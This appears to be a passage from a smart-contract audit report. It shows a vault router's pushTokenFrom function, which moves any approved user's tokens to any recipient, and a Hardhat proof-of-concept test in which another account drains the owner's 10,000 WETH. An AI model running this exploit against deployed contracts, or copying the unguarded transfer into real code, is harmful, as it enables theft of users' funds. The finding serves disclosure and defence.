    function pullTokenFrom(IERC20 token, address from, uint256 amount) internal virtual {
        // Check if the token address is valid
        if (address(token) == address(0)) revert InvalidToken();

        if (token.allowance(from, address(this)) < amount) revert NotEnoughAllowance();
        // Use SafeERC20 to transfer tokens from the specified address to this contract
@>      IERC20(token).safeTransferFrom(from, address(this), amount);
    }

    function pushTokenFrom(IERC20 token, address from, address to, uint256 amount) internal virtual {
        // Check if the token address is valid
        if (address(token) == address(0)) revert InvalidToken();
        // Check if the recipient address is valid
        if (address(to) == address(0)) revert InvalidRecipient();

        if (token.allowance(from, address(this)) < amount) revert NotEnoughAllowance();
        // Use SafeERC20 to transfer tokens from the specified address to another specified address
@>      IERC20(token).safeTransferFrom(from, to, amount);
    }
  it.only('Drain all WETH from owner', async function () {
    const { vaultRouter, weth, owner, otherAccount } = await deployFunction();
    //@audit-info owner has 10000e18 WETH
    expect(await weth.balanceOf(owner.address)).to.equal(ethers.parseUnits('10000', 18));
    //@audit-info owner approves vaultRouter to spend their WETH
    await weth.approve(await vaultRouter.getAddress(), ethers.parseUnits('10000', 18));
    let iface = new ethers.Interface(VaultRouterABI);
    const commands = [
      [
        VAULT_ROUTER_COMMAND_ACTIONS.PUSH_TOKEN_FROM,
        '0x' +
          iface
            .encodeFunctionData('pushTokenFrom', [await weth.getAddress(), owner.address, otherAccount.address, ethers.parseUnits('10000', 18)])
            .slice(10),
      ],
    ];
    //@audit-info otherAccount drains owner's WETH
    await vaultRouter.connect(otherAccount).execute(commands);
    expect(await weth.balanceOf(owner.address)).to.equal(0);
    expect(await weth.balanceOf(otherAccount.address)).to.equal(ethers.parseUnits('10000', 18));
  });
